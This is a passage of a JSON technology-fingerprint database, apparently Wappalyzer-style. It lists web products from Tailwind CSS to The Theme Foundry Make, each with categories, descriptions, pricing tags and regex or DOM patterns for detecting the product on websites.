\"js\": {\n      \"hexToTailwindColorVar\": \"\",\n      \"tailwind\": \"\"\n    },\n    \"scriptSrc\": [\n      \"\\\\.tailwindcss(?:tailwind-config-cdn)?\\\\.(?:com|js)\"\n    ],\n    \"website\": \"https://tailwindcss.com/\"\n  },\n  \"TakeDrop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"TakeDrop is an ecommerce platform.\",\n    \"dom\": [\n      \"img[src*='main.takedropstorage.com']\"\n    ],\n    \"icon\": \"TakeDrop.svg\",\n    \"js\": {\n      \"webpackJsonptakedrop-react\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://takedrop.pl\"\n  },\n  \"Talex\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Talex is a Swedish ecommerce platform.\",\n    \"icon\": \"Talex.svg\",\n    \"meta\": {\n      \"Author\": \"Talex Webshop,\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.talex.se\"\n  },\n  \"Talk-Me\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Talk-Me is a chat system designed to enhance sales growth by facilitating customer communication, offering a range of tools to help businesses find new clients through their websites.\",\n    \"icon\": \"TalkMe.svg\",\n    \"js\": {\n      \"MeTalk\": \"\",\n      \"TalkMe\": \"\",\n      \"TalkMeIsInitialized\": \"\",\n      \"TalkMeSetup\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://talk-me.ru\"\n  },\n  \"Talkable\": {\n    \"cats\": [\n      74,\n      84,\n      94\n    ],\n    \"description\": \"Talkable is a cloud-based referral marketing system that assists medium to large businesses with campaign creation and channel performance tracking.\",\n    \"icon\": \"Talkable.svg\",\n    \"js\": {\n      \"talkable.config.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.talkable.com\"\n  },\n  \"Talkdesk\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Talkdesk is a platform providing modern AI-powered customer service solutions.\",\n    \"icon\": \"Talkdesk.svg\",\n    \"js\": {\n      \"TalkdeskChatSDK\": \"\",\n      \"webpackChunkTalkdeskChatSDK\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.talkdeskapp\\\\.com/\"\n    ],\n    \"website\": \"https://www.talkdesk.com\"\n  },\n  \"Tallentor\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Tallentor is a subscription-based software website analytics, heatmap, channel chat intergration.\",\n    \"icon\": \"Tallentor.png\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tallentor\\\\.com/js/script_tracker\\\\.js\"\n    ],\n    \"website\": \"https://tallentor.com\"\n  },\n  \"Tallentor Widget\": {\n    \"cats\": [\n      52\n    ],\n    \"cookies\": {\n      \"tallentor_widget\": \"\"\n    },\n    \"description\": \"Tallentor is a subscription-based software website analytics, heatmap, channel chat intergration.\",\n    \"icon\": \"Tallentor.png\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://tallentor.com\"\n  },\n  \"Tally\": {\n    \"cats\": [\n      73\n    ],\n    \"description\": \"Tally is the simplest way to create free forms & surveys. Create any type of form in seconds, without knowing how to code, and for free.\",\n    \"dom\": [\n      \"iframe[data-tally-src^='https://tally.so/embed/']\",\n      \"a[href*='//tally.so/r/']\"\n    ],\n    \"icon\": \"Tally.svg\",\n    \"js\": {\n      \"Tally\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//tally\\\\.so/\"\n    ],\n    \"website\": \"https://tally.so/\"\n  },\n  \"Tamago\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Tamago is a Japanese subscription management platform by Temonalab for optimizing recurring billing services.\",\n    \"dom\": [\n      \"link[href*='tamago.temonalab.com']\"\n    ],\n    \"html\": [\n      \"<link [^>]*href=\\\"http://tamago\\\\.temonalab\\\\.com\"\n    ],\n    \"icon\": \"Tamago.svg\",\n    \"website\": \"https://tamago.temonalab.com\"\n  },\n  \"Tamara\": {\n    \"cats\": [\n      41,\n      91\n    ],\n    \"description\": \"Tamara ia a BNPL (Buy now pay later) provider in Saudi Arabia.\",\n    \"icon\": \"Tamara.svg\",\n    \"js\": {\n      \"TamaraProductWidget\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.tamara\\\\.co\"\n    ],\n    \"website\": \"https://tamara.co/\"\n  },\n  \"Tangiblee\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"Tangiblee is an enterprise-ready, immersive shopping and augmented reality ecommerce platform.\",\n    \"icon\": \"Tangiblee.svg\",\n    \"js\": {\n      \"globalTangiblee\": \"\",\n      \"tangiblee\": \"\",\n      \"tangibleeScriptLoaded\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.tangiblee.com\"\n  },\n  \"Tangled Network\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Tangled Network provides a managed services in website devleopment, web and database hosting and domain registration, with a focus on everything managed for small and medium sized businesses.\",\n    \"dns\": {\n      \"NS\": \"\\\\.tanglednetwork\\\\.com\",\n      \"SOA\": \"\\\\.tanglednetwork\\\\.com\"\n    },\n    \"headers\": {\n      \"X-Hosting-Provider\": \"Tangled Network\"\n    },\n    \"icon\": \"atws.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://tanglednetwork.com\"\n  },\n  \"Tap Payments\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Tap Payments is a company based in KSA provides payment services to merchants.\",\n    \"dom\": [\n      \"iframe[src*='checkout.payments.tap.company/']\"\n    ],\n    \"icon\": \"Tap Payments.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.tap.company\"\n  },\n  \"Tapad\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Tapad is a venture-funded startup company that develops and markets software and services for cross-device advertising and content delivery.\",\n    \"dom\": [\n      \"link[href*='pixel.tapad.com'], img[src*='pixel.tapad.com']\"\n    ],\n    \"icon\": \"Tapad.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.tapad.com\"\n  },\n  \"Tapcart\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Tapcart is a mobile commerce SaaS platform that integrates directly with Shopify.\",\n    \"dom\": [\n      \"a[href*='tapcart.app'][target='_blank']\"\n    ],\n    \"icon\": \"Tapcart.svg\",\n    \"js\": {\n      \"tapcartwebBanner\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.tapcart\\\\.com/\"\n    ],\n    \"website\": \"https://tapcart.com\"\n  },\n  \"Tapfiliate\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Tapfiliate is a cloud-based affiliate marketing software that helps businesses to create, track, and optimise their own affiliate marketing programs.\",\n    \"icon\": \"Tapfiliate.svg\",\n    \"js\": {\n      \"TapfiliateObject\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tapfiliate\\\\.com/\"\n    ],\n    \"website\": \"https://tapfiliate.com\"\n  },\n  \"Target2Sell\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Target2Sell is a personalisation solution for ecommerce sites.\",\n    \"icon\": \"Target2Sell.png\",\n    \"scriptSrc\": [\n      \"static\\\\.target2sell\\\\.com\"\n    ],\n    \"website\": \"https://www.target2sell.com/\"\n  },\n  \"TargetBay\": {\n    \"cats\": [\n      6,\n      32\n    ],\n    \"description\": \"TargetBay is an all-in-one ecommerce marketing platform.\",\n    \"icon\": \"TargetBay.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.targetbay\\\\.com\"\n    ],\n    \"website\": \"https://targetbay.com\"\n  },\n  \"Tars\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Tars is a platform for creating chatbots without programming knowledge.\",\n    \"dom\": [\n      \"link[href*='api.hellotars.com/']\"\n    ],\n    \"icon\": \"Tars.svg\",\n    \"js\": {\n      \"tarsWidget\": \"\"\n    },\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.hellotars\\\\.com/\"\n    ],\n    \"website\": \"https://hellotars.com/\"\n  },\n  \"Tatari\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Tatari is a data and analytics company focused on buying and measuring ads across TV and streaming platforms.\",\n    \"icon\": \"Tatari.svg\",\n    \"js\": {\n      \"tatari\": \"\"\n    },\n    \"website\": \"https://www.tatari.tv\"\n  },\n  \"Tawk.to\": {\n    \"cats\": [\n      52\n    ],\n    \"cookies\": {\n      \"TawkConnectionTime\": \"\"\n    },\n    \"description\": \"Tawk.to is a free messaging app to monitor and chat with the visitors to a website, mobile app.\",\n    \"icon\": \"TawkTo.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//embed\\\\.tawk\\\\.to\"\n    ],\n    \"website\": \"https://tawk.to\"\n  },\n  \"Teachable\": {\n    \"cats\": [\n      21\n    ],\n    \"cookies\": {\n      \"_gat_teachableTracker\": \"\\\\d+\"\n    },\n    \"description\": \"Teachable is a learning management system or LMS platform.\",\n    \"icon\": \"Teachable.svg\",\n    \"js\": {\n      \"isTeachable\": \"\\\\;confidence:50\",\n      \"teachableIcons\": \"\\\\;confidence:50\",\n      \"trackTeachableGAEvent\": \"\"\n    },\n    \"meta\": {\n      \"asset_host\": \"\\\\.teachablecdn\\\\.com\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.teachablecdn\\\\.com\"\n    ],\n    \"website\": \"https://teachable.com\"\n  },\n  \"Teads\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"Teads is a technology provider that sells ads on publisher websites.\",\n    \"icon\": \"Teads.svg\",\n    \"scriptSrc\": [\n      \"teads\\\\.tv\"\n    ],\n    \"website\": \"https://www.teads.com\",\n    \"xhr\": [\n      \"\\\\.teads\\\\.tv\"\n    ]\n  },\n  \"Tealium\": {\n    \"cats\": [\n      42,\n      97\n    ],\n    \"description\": \"Tealium provides a sales enterprise tag management system and marketing software.\",\n    \"icon\": \"Tealium.svg\",\n    \"js\": {\n      \"TEALIUMENABLED\": \"\",\n      \"TealiumUtils\": \"\",\n      \"__tealium_twc_switch\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"^(?:https?:)?//tags\\\\.tiqcdn\\\\.com/\",\n      \"/tealium/utag\\\\.js$\"\n    ],\n    \"scripts\": [\n      \"tealium_js_path\"\n    ],\n    \"website\": \"https://tealium.com\"\n  },\n  \"Tealium AudienceStream\": {\n    \"cats\": [\n      86\n    ],\n    \"description\": \"Tealium AudienceStream is an omnichannel customer segmentation and real-time action engine.\",\n    \"dom\": [\n      \"link[href*='.tealiumiq.com']\"\n    ],\n    \"icon\": \"Tealium.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tealiumiq\\\\.com\"\n    ],\n    \"website\": \"https://tealium.com/products/audiencestream\"\n  },\n  \"Tealium Consent Management\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Tealium Consent Management adds consent and data privacy support.\",\n    \"dom\": [\n      \"script#__tealiumGDPRecScript,div#__tealiumGDPRecModal\"\n    ],\n    \"icon\": \"Tealium.svg\",\n    \"website\": \"https://docs.tealium.com/platforms/getting-started/consent-management\"\n  },\n  \"TeamBrain\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"TeamBrain is a knowledge management solution which allows to use a self-learning dynamic FAQ on a website or widget on the bottom right of any page.\",\n    \"dom\": [\n      \"link[href*='//teambrain.app/']\"\n    ],\n    \"icon\": \"TeamBrain.svg\",\n    \"js\": {\n      \"TeamBrainExternalApp\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.teambrain.io\"\n  },\n  \"TeamCity\": {\n    \"cats\": [\n      44\n    ],\n    \"description\": \"TeamCity is a build management and continuous integration server from JetBrains.\",\n    \"html\": [\n      \"<span class=\\\"versionTag\\\"><span class=\\\"vWord\\\">Version</span> ([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"TeamCity.svg\",\n    \"implies\": [\n      \"Apache Tomcat\",\n      \"Java\",\n      \"jQuery\",\n      \"Moment.js\",\n      \"Prototype\",\n      \"React\",\n      \"Underscore.js\"\n    ],\n    \"meta\": {\n      \"application-name\": \"TeamCity\"\n    },\n    \"website\": \"https://www.jetbrains.com/teamcity/\"\n  },\n  \"TeamLinkt\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Teamlinkt is a software facilitating team management, enabling users to track progress, assign tasks, and coordinate activities.\",\n    \"icon\": \"TeamLinkt.svg\",\n    \"meta\": {\n      \"author\": \"^TeamLinkt$\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://teamlinkt.com\"\n  },\n  \"TeamSystem Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"headers\": {\n      \"X-Powered-By\": \"(?:Storeden|TeamSystem Commerce)\"\n    },\n    \"icon\": \"storeden.svg\",\n    \"website\": \"https://www.teamsystemcommerce.com/\"\n  },\n  \"TeamUnify\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"TeamUnify is an all-in-one swim platform that simplifies swim team management.\",\n    \"icon\": \"TeamUnify.svg\",\n    \"js\": {\n      \"TeamUnifyUpdateSubsystem\": \"\"\n    },\n    \"meta\": {\n      \"author\": \"^TeamUnify$\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.teamunify.com\"\n  },\n  \"TeamUp\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"TeamUp is fitness management software catering to boutique gyms, studios, and fitness boxes worldwide.\",\n    \"dom\": [\n      \"a[href*='//goteamup.com/']\"\n    ],\n    \"icon\": \"TeamUp.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://goteamup.com\"\n  },\n  \"TeamViewer\": {\n    \"cats\": [\n      37,\n      45\n    ],\n    \"description\": \"TeamViewer is a network and IT systems uptime monitoring service, formerly known as Monitis.\",\n    \"icon\": \"TeamViewer.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"rum\\\\.monitis\\\\.com/\"\n    ],\n    \"website\": \"https://monitis.com\"\n  },\n  \"Teamtailor\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Teamtailor is an applicant tracking system, career site and analytics dashboard combined, mobile friendly, and  all-in-one recruitment platform.\",\n    \"icon\": \"teamtailor.svg\",\n    \"js\": {\n      \"Teamtailor.Ziggeo\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.teamtailor.com\"\n  },\n  \"Tebex\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Tebex specialises in providing gcommerce solutions for online games.\",\n    \"dom\": {\n      \"a[href*='.tebex.io']\": {\n        \"attributes\": {\n          \"target\": \"_blank\",\n          \"text\": \"Tebex\"\n        }\n      }\n    },\n    \"headers\": {\n      \"tb-cache-country\": \"^\\\\w+$\\\\;confidence:50\",\n      \"tb-cache-group\": \"^webstore$\\\\;confidence:50\"\n    },\n    \"icon\": \"Tebex.svg\",\n    \"implies\": [\n      \"MySQL\",\n      \"Sass\",\n      \"PHP\"\n    ],\n    \"requires\": [\n      \"Cart Functionality\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"\\\\.tebexLogin\"\n    ],\n    \"website\": \"https://www.tebex.io\"\n  },\n  \"Teeinblue\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Teeinblue is a personalization tool tailored for print-on-demand merchants using Shopify.\",\n    \"icon\": \"TeeinBlue.svg\",\n    \"js\": {\n      \"TEEINBLUE_LOADED\": \"\",\n      \"teeinblue\": \"\",\n      \"teeinblueShop\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sdk\\\\.teeinblue\\\\.com\"\n    ],\n    \"website\": \"https://teeinblue.com\"\n  },\n  \"TeleportHQ\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"TeleportHQ is a front-end development platform featuring a visual builder and headless content modeling capabilities.\",\n    \"dom\": [\n      \"link[href*='/@teleporthq/teleport-custom-scripts/']\"\n    ],\n    \"icon\": \"TeleportHq.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://teleporthq.io\"\n  },\n  \"Telescope\": {\n    \"cats\": [\n      1\n    ],\n    \"icon\": \"Telescope.png\",\n    \"implies\": [\n      \"Meteor\",\n      \"React\"\n    ],\n    \"js\": {\n      \"Telescope\": \"\"\n    },\n    \"website\": \"https://telescopeapp.org\"\n  },\n  \"Tencent Analytics (腾讯分析)\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"tajs.png\",\n    \"scriptSrc\": [\n      \"tajs\\\\.qq\\\\.com/stats\"\n    ],\n    \"website\": \"https://ta.qq.com/\"\n  },\n  \"Tencent Cloud\": {\n    \"cats\": [\n      31,\n      62\n    ],\n    \"description\": \"Tencent Cloud is China's leading public cloud service provider.\",\n    \"icon\": \"Tencent Cloud.svg\",\n    \"meta\": {\n      \"copyright\": \"^.+Tencent\\\\sCloud\\\\.$\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.tencent-cloud\\\\.(?:cn|com)/\"\n    ],\n    \"website\": \"https://intl.cloud.tencent.com\"\n  },\n  \"Tencent QQ\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Tencent QQ also known as QQ, is an instant messaging software service and web portal developed by the Chinese tech giant Tencent.\",\n    \"dom\": [\n      \"a[href*='tencent://message/']\"\n    ],\n    \"icon\": \"Tencent QQ.svg\",\n    \"website\": \"https://im.qq.com\"\n  },\n  \"Tencent Waterproof Wall\": {\n    \"cats\": [\n      9,\n      16\n    ],\n    \"icon\": \"TencentWaterproofWall.png\",\n    \"scriptSrc\": [\n      \"/TCaptcha\\\\.js\",\n      \"captcha\\\\.qq\\\\.com/.*\"\n    ],\n    \"website\": \"https://007.qq.com/\"\n  },\n  \"Tender Support\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Tender Support is a customer service software offering essential tools to enhance customer support.\",\n    \"icon\": \"TenderSupport.svg\",\n    \"js\": {\n      \"Tender\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.tenderapp\\\\.com/\"\n    ],\n    \"website\": \"https://tenderapp.com\"\n  },\n  \"Tengine\": {\n    \"cats\": [\n      22\n    ],\n    \"description\": \"Tengine is a web server which is based on the Nginx HTTP server.\",\n    \"headers\": {\n      \"Server\": \"Tengine\"\n    },\n    \"icon\": \"Tengine.png\",\n    \"website\": \"https://tengine.taobao.org\"\n  },\n  \"Terminalfour\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Terminalfour is a digital engagement and web content management platform for higher education.\",\n    \"icon\": \"Terminalfour.svg\",\n    \"meta\": {\n      \"generator\": \"TERMINALFOUR\"\n    },\n    \"website\": \"https://www.terminalfour.com\"\n  },\n  \"Terminus\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Terminus is a platform that helps identify target audiences, deliver relevant messages across multiple channels, integrate sales teams throughout the revenue process, and measure performance across all activities.\",\n    \"icon\": \"Terminus.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.terminus\\\\.services/\"\n    ],\n    \"website\": \"https://terminus.com\"\n  },\n  \"Termly\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Termly provides free website policy resources and web-based policy creation software.\",\n    \"icon\": \"termly.svg\",\n    \"scriptSrc\": [\n      \"app\\\\.termly\\\\.io/embed\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://termly.io/\"\n  },\n  \"Tern\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Tern is a plug and play ecommerce app, built for Shopify, that offers merchants the ability to provide a seamless trade-in service.\",\n    \"icon\": \"Tern.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"scriptSrc\": [\n      \"live\\\\.tern-returns\\\\.eastsideapps\\\\.io/\"\n    ],\n    \"website\": \"https://www.tern.eco\"\n  },\n  \"TerriaJS\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"TerriaJS is an open-source framework for web-based geospatial catalogue explorers.\",\n    \"dom\": [\n      \"html[class*='terria']\"\n    ],\n    \"icon\": \"TerriaJS.svg\",\n    \"oss\": true,\n    \"website\": \"https://terria.io/\"\n  },\n  \"Tessitura\": {\n    \"cats\": [\n      53\n    ],\n    \"html\": [\n      \"<!--[^>]+Tessitura Version: (\\\\d*\\\\.\\\\d*\\\\.\\\\d*)?\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"tessitura.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\",\n      \"IIS\",\n      \"Windows Server\"\n    ],\n    \"website\": \"https://www.tessituranetwork.com\"\n  },\n  \"TestFreaks\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"TestFreaks is an impartial source that provides product and seller review content for ecommerce websites.\",\n    \"icon\": \"TestFreaks.svg\",\n    \"js\": {\n      \"applyTestFreaks\": \"\",\n      \"testFreaks\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.testfreaks\\\\.com/\"\n    ],\n    \"website\": \"https://www.testfreaks.com\"\n  },\n  \"Testimonial Robot\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Testimonial Robot is a testimonials and customer review platform.\",\n    \"icon\": \"TestimonialRobot.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"www\\\\.testimonialrobot\\\\.com/\"\n    ],\n    \"website\": \"https://testimonialrobot.com\"\n  },\n  \"Texthelp\": {\n    \"cats\": [\n      68\n    ],\n    \"description\": \"TextHelp is a literacy, accessibility and dyslexia software developer for people with reading and writing difficulties.\",\n    \"icon\": \"Texthelp.svg\",\n    \"scriptSrc\": [\n      \"browsealoud\\\\.com/.*/browsealoud\\\\.js\"\n    ],\n    \"website\": \"https://www.texthelp.com/en-gb/products/browsealoud/\"\n  },\n  \"Textline\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Textline is a business texting platform designed for customer support, sales, marketing, and logistics teams to streamline communication and improve workflow efficiency.\",\n    \"icon\": \"Textline.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.textline\\\\.com/\"\n    ],\n    \"website\": \"https://www.textline.com\"\n  },\n  \"Textpattern CMS\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:textpattern:textpattern:*:*:*:*:*:*:*:*\",\n    \"description\": \"Textpattern CMS is an open-source content management system (CMS) that uses a tag-based template language and supports multiple languages.\",\n    \"icon\": \"Textpattern CMS.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"Textpattern\"\n    },\n    \"oss\": true,\n    \"website\": \"https://textpattern.com\"\n  },\n  \"Thanx\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"Thanx is a platform that captures insights, retains loyal fans, sends highly-targeted campaigns, and measures results in real revenue.\",\n    \"icon\": \"Thanx.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.thanx\\\\.com/\"\n    ],\n    \"website\": \"https://www.thanx.com\"\n  },\n  \"Thawte\": {\n    \"cats\": [\n      70\n    ],\n    \"certIssuer\": \"Thawte\",\n    \"description\": \"Thawte is a provider of SSL certificates, offering a site seal as a visual indicator of website security.\",\n    \"icon\": \"Thawte.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.thawte.com\"\n  },\n  \"The AdsLab\": {\n    \"cats\": [\n      32,\n      36\n    ],\n    \"description\": \"The AdsLab is a tool that enables users to target, track, and convert their desired audience effectively.\",\n    \"icon\": \"TheAdsLab.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.theadslab\\\\.io/\"\n    ],\n    \"website\": \"https://www.theadslab.io\"\n  },\n  \"The Arena Group\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"The Arena Group is a media coalition of professional content destinations. It operates on a shared digital publishing, advertising, and distribution platform, providing a major media-scale alternative to news and information distributed on social platforms.\",\n    \"icon\": \"The Arena Group.svg\",\n    \"meta\": {\n      \"generator\": \"^Tempest\\\\s-\\\\smaven\\\\.io$\"\n    },\n    \"saas\": true,\n    \"website\": \"https://thearenagroup.net\"\n  },\n  \"The Church Co\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"The Church Co is a church-focused website development platform that provides tools and features specifically designed to support the growth and online presence of churches and religious organisations.\",\n    \"icon\": \"The Church Co.png\",\n    \"meta\": {\n      \"generator\": \"^THECHURCHCO\\\\s([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://thechurchco.com\"\n  },\n  \"The Events Calendar\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"The Events Calendar is a free event management plugin for WordPress.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/the-events-calendar/']\"\n    ],\n    \"icon\": \"The Events Calendar.svg\",\n    \"js\": {\n      \"TribeCalendar\": \"\",\n      \"tribe_l10n_datatables\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/the-events-calendar(?:-pro)?/\"\n    ],\n    \"website\": \"https://theeventscalendar.com\"\n  },\n  \"The Hotels Network\": {\n    \"cats\": [\n      10,\n      76\n    ],\n    \"description\": \"The Hotels Network provides a SaaS software that enhances hotelier websites with predictive marketing personalisation and user behavior analytics.\",\n    \"headers\": {\n      \"content-security-policy\": \"\\\\.thehotelsnetwork\\\\.com\",\n      \"content-security-policy-report-only\": \"\\\\.thehotelsnetwork\\\\.com\"\n    },\n    \"icon\": \"The Hotels Network.svg\",\n    \"js\": {\n      \"thn.data.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.thehotelsnetwork\\\\.com/\"\n    ],\n    \"website\": \"https://thehotelsnetwork.com\"\n  },\n  \"The Monetyzer\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"The Monetyzer is a global advertising platform for publishers.\",\n    \"icon\": \"TheMonetyzer.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.themoneytizer\\\\.com/\"\n    ],\n    \"website\": \"https://www.themoneytizer.com\"\n  },\n  \"The SEO Framework\": {\n    \"cats\": [\n      54,\n      87\n    ],\n    \"description\": \"The SEO Framework is the only WordPress plugin that can intelligently generate critical SEO meta tags by reading your WordPress environment.\",\n    \"html\": [\n      \"<!--[^>]+The SEO Framework by Sybre Waaijer\"\n    ],\n    \"icon\": \"The SEO Framework.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://theseoframework.com\"\n  },\n  \"The Theme Foundry Make\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Make is a free, open-source builder WordPress theme by The Theme Foundry.\",\n    \"icon\": \"The Theme Foundry.svg\",\n    \"js\": {\n      \"MakeDynamicStylesheet\": \"\\\\;confidence:50\",\n      \"MakeFrontEnd\": 